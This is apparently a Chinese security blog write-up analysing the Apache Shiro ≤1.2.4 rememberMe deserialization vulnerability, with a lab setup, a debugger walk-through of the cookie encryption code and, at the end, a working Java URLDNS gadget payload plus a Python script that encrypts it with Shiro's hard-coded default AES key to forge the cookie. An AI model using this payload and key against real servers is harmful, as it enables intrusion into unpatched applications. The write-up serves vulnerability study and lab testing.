Apache shiro简介

shiro是一种开源的java安全框架。它提供了身份验证(Authentication)、授权(Authorization)、加密(Cryptography)和会话管理(Session Management)等安全功能,用于保护Web应用程序和非Web应用程序中的安全性。可运行在web应用和非web应用中。使用Shiro框架可以使应用程序的安全性得到提高,同时也可以使开发者更加方便地进行身份验证、授权和会话管理等操作,减少了开发的复杂度和工作量。

漏洞原理

shiro框架提供了保持会话的功能,当用户勾选Remember Me并且登录成功后,服务端会返回一个字段名为rememberMe的Cookie字段,该字段将登录信息序列化,AES加密后base64编码作为rememberMe字段值返回给客户端。用户以后每次登录时携带此Cookie就可以免账号密码登录。由于AES是固定key加密,key是写死在源代码中的,(后面分析会讲)那么攻击者就可以将恶意代码序列化,AES加密并编码通过Cookie传递服务端达到恶意代码执行的目的。

影响版本:Apache Shiro <= 1.2.4

环境搭建

Github上有现成的代码包,下载shiro-1.2.4源码:https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4,另外在pom.xml配置文件中添加此Maven依赖。

<?xml version="1.0" encoding="UTF-8"?>
<!--
~ Licensed to the Apache Software Foundation (ASF) under one
~ or more contributor license agreements. See the NOTICE file
~ distributed with this work for additional information
~ regarding copyright ownership. The ASF licenses this file
~ to you under the Apache License, Version 2.0 (the
~ "License"); you may not use this file except in compliance
~ with the License. You may obtain a copy of the License at
~
~ http://www.apache.org/licenses/LICENSE-2.0
~
~ Unless required by applicable law or agreed to in writing,
~ software distributed under the License is distributed on an
~ "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
~ KIND, either express or implied. See the License for the
~ specific language governing permissions and limitations
~ under the License.
-->
<!--suppress osmorcNonOsgiMavenDependency -->
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">

<parent>
<groupId>org.apache.shiro.samples</groupId>
<artifactId>shiro-samples</artifactId>
<version>1.2.4</version>
<relativePath>../pom.xml</relativePath>
</parent>

<modelVersion>4.0.0</modelVersion>
<artifactId>samples-web</artifactId>
<name>Apache Shiro :: Samples :: Web</name>
<packaging>war</packaging>

<build>
<plugins>
<plugin>
<artifactId>maven-surefire-plugin</artifactId>
<configuration>
<forkMode>never</forkMode>
</configuration>
</plugin>
<plugin>
<groupId>org.mortbay.jetty</groupId>
<artifactId>maven-jetty-plugin</artifactId>
<version>${jetty.version}</version>
<configuration>
<contextPath>/</contextPath>
<connectors>
<connector implementation="org.mortbay.jetty.nio.SelectChannelConnector">
<port>9080</port>
<maxIdleTime>60000</maxIdleTime>
</connector>
</connectors>
<requestLog implementation="org.mortbay.jetty.NCSARequestLog">
<filename>./target/yyyy_mm_dd.request.log</filename>
<retainDays>90</retainDays>
<append>true</append>
<extended>false</extended>
<logTimeZone>GMT</logTimeZone>
</requestLog>
</configuration>
</plugin>
</plugins>
</build>

<dependencies>
<!-- <dependency>-->
<!-- <groupId>javax.servlet</groupId>-->
<!-- <artifactId>jstl</artifactId>-->
<!-- <scope>runtime</scope>-->
<!-- </dependency>-->
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>servlet-api</artifactId>
<!-- <scope>provided</scope>-->
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-log4j12</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>log4j</groupId>
<artifactId>log4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>net.sourceforge.htmlunit</groupId>
<artifactId>htmlunit</artifactId>
<version>2.6</version>
<!-- <scope>test</scope>-->
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-core</artifactId>
</dependency>
<dependency>
<groupId>org.apache.shiro</groupId>
<artifactId>shiro-web</artifactId>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.mortbay.jetty</groupId>
<artifactId>jsp-2.1-jetty</artifactId>
<version>${jetty.version}</version>
<scope>test</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>jcl-over-slf4j</artifactId>
<scope>runtime</scope>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>jstl</artifactId>
<!-- 这里需要将jstl设置为1.2 -->
<version>1.2</version>
<scope>runtime</scope>
</dependency>
<!-- <dependency>-->
<!-- <groupId>org.apache.commons</groupId>-->
<!-- <artifactId>commons-collections4</artifactId>-->
<!-- <version>4.0</version>-->
<!-- </dependency>-->
</dependencies>

</project>

用idea打开\shiro-shiro-root-1.2.4\samples\web,配置tomcat服务器,在这就不说了。直接运行,启动shiro的web站点。

游览器访问8080端口,

环境搭建成功。

shiro加密流程分析

在没登陆之前:

Cookie中是没有rememberMe字段的,抓包登录进去,勾选Remember Me选项。

返回一个set-Cookie字段,这个字段就是序列化字符串AES和base64加密后的结果。漏洞点也就在这个字段。

我们可以在AbstractRememberMeManager类的onSuccessfulLogin方法里下个断点,这个方法会在用户登录成功后调用。在if判断里下个断点,这个是判断是否勾选Remember Me字段的。如果是,就调用rememberIdentity方法,如果不是,就返回debug信息。调试一下。

这里判断true,进入到rememberIdentity方法,

getIdentityToRemember方法返回用户登录信息,接着进入rememberIdentity方法,

跟进convertPrincipalsToBytes方法,它返回的是一个bytes数组,步入。

首先对用户的登录信息序列化,然后利用encrypt函数对其进行加密,加密具体细节不再展示,是AES加密,感兴趣的小伙伴可以自己跟一下。加密完成后返回,继续调用rememberSerializedIdentity方法,

在这个方法中对加密后的字节数组流base64编码,然后将它设置在Cookie里返回给客户端,前面抓包看到返回包中的Cookie就是这么形成的了。

漏洞利用

既然能设置Cookie,那么也能读取Cookie。读取Cookie的方法就是getRememberedSerializedIdentity,从客户端读取Cookie并且base64解码,看看谁调用了,往上找。

在父类的getRememberedPrincipals方法中调用了它。这里的bytes就是加密后的字节流,过了判断之后就进入if调用convertBytesToPrincipals方法,跟进。

先解密,然后调用反序列化函数,这个反序列化函数就不跟了,直接看decrypt函数。

这里就调用cipherService.decrypt解密了。encrypted是密文,而getDecryptionCipherKey()返回key,开头讲到过,key是写死 在源代码中的,看能不能找到。跟进这个方法。

返回一个属性,看一下这个属性是在哪赋值的。

继续往上找,

还是查找用法。

最后会在构造函数中调用此方法,

这个就是AES加密的key了。在shiro-1.2.4版本中,关于rememberMe加密的,key已知并且固定,就可以恶意构造Cookie来打一些CC的依赖进而RCE。而关于shiro反序列化来RCE的链子在下篇文章中说明,在此埋下伏笔。这篇文章就用URLDNS链来验证反序列化是否行得通。

URLDNS链的EXP:

package com.payload;

import java.io.*;
import java.io.Serializable;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;

public class payload {
public static void serialize(Object object) throws IOException {
FileOutputStream fileOutputStream = new FileOutputStream("web.bin");
ObjectOutputStream objectOutputStream = new ObjectOutputStream(fileOutputStream);
objectOutputStream.writeObject(object);
System.out.println("1.序列化成功");
}

public static void main(String[] args) throws IOException, NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
HashMap<URL,Integer>hashMap = new HashMap<URL,Integer>();
URL url = new URL("http://qyoubz.dnslog.cn");
Class c = url.getClass();
Field hashcodefiled = c.getDeclaredField("hashCode");
hashcodefiled.setAccessible(true);
hashcodefiled.set(url,1234);
hashMap.put(url,1);
hashcodefiled.set(url,-1);
serialize(hashMap);
}
}

再利用已知key对其AES和base64加密,python脚本为:

# -*-* coding:utf-8
# @Time : 2023/03/21 22:51
# @Author : XiLitter
# @FileName: aes3.py
# @Software: PyCharm
# @Blog :https://xilitter.github.io/
import base64
import uuid
import subprocess
from Crypto.Cipher import AES



def get_file_data(filename):
with open(filename,'rb') as f:
data = f.read()
return data

def aes_enc(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = "kPH+bIxk5D2deZiIxcaaaA=="
mode = AES.MODE_CBC
iv = uuid.uuid4().bytes
encryptor = AES.new(base64.b64decode(key), mode, iv)
ciphertext = base64.b64encode(iv+encryptor.encrypt(pad(data)))
return ciphertext


if __name__ == '__main__':
data = get_file_data("web.bin")
print(aes_enc(data))

替换Cookie发包:

用户角色变为Guest,

成功发起DNS请求解析,反序列化验证成功。

反序列化之路任重而道远。

参考链接

Java安全之Shiro 550反序列化漏洞分析

shiro550流程分析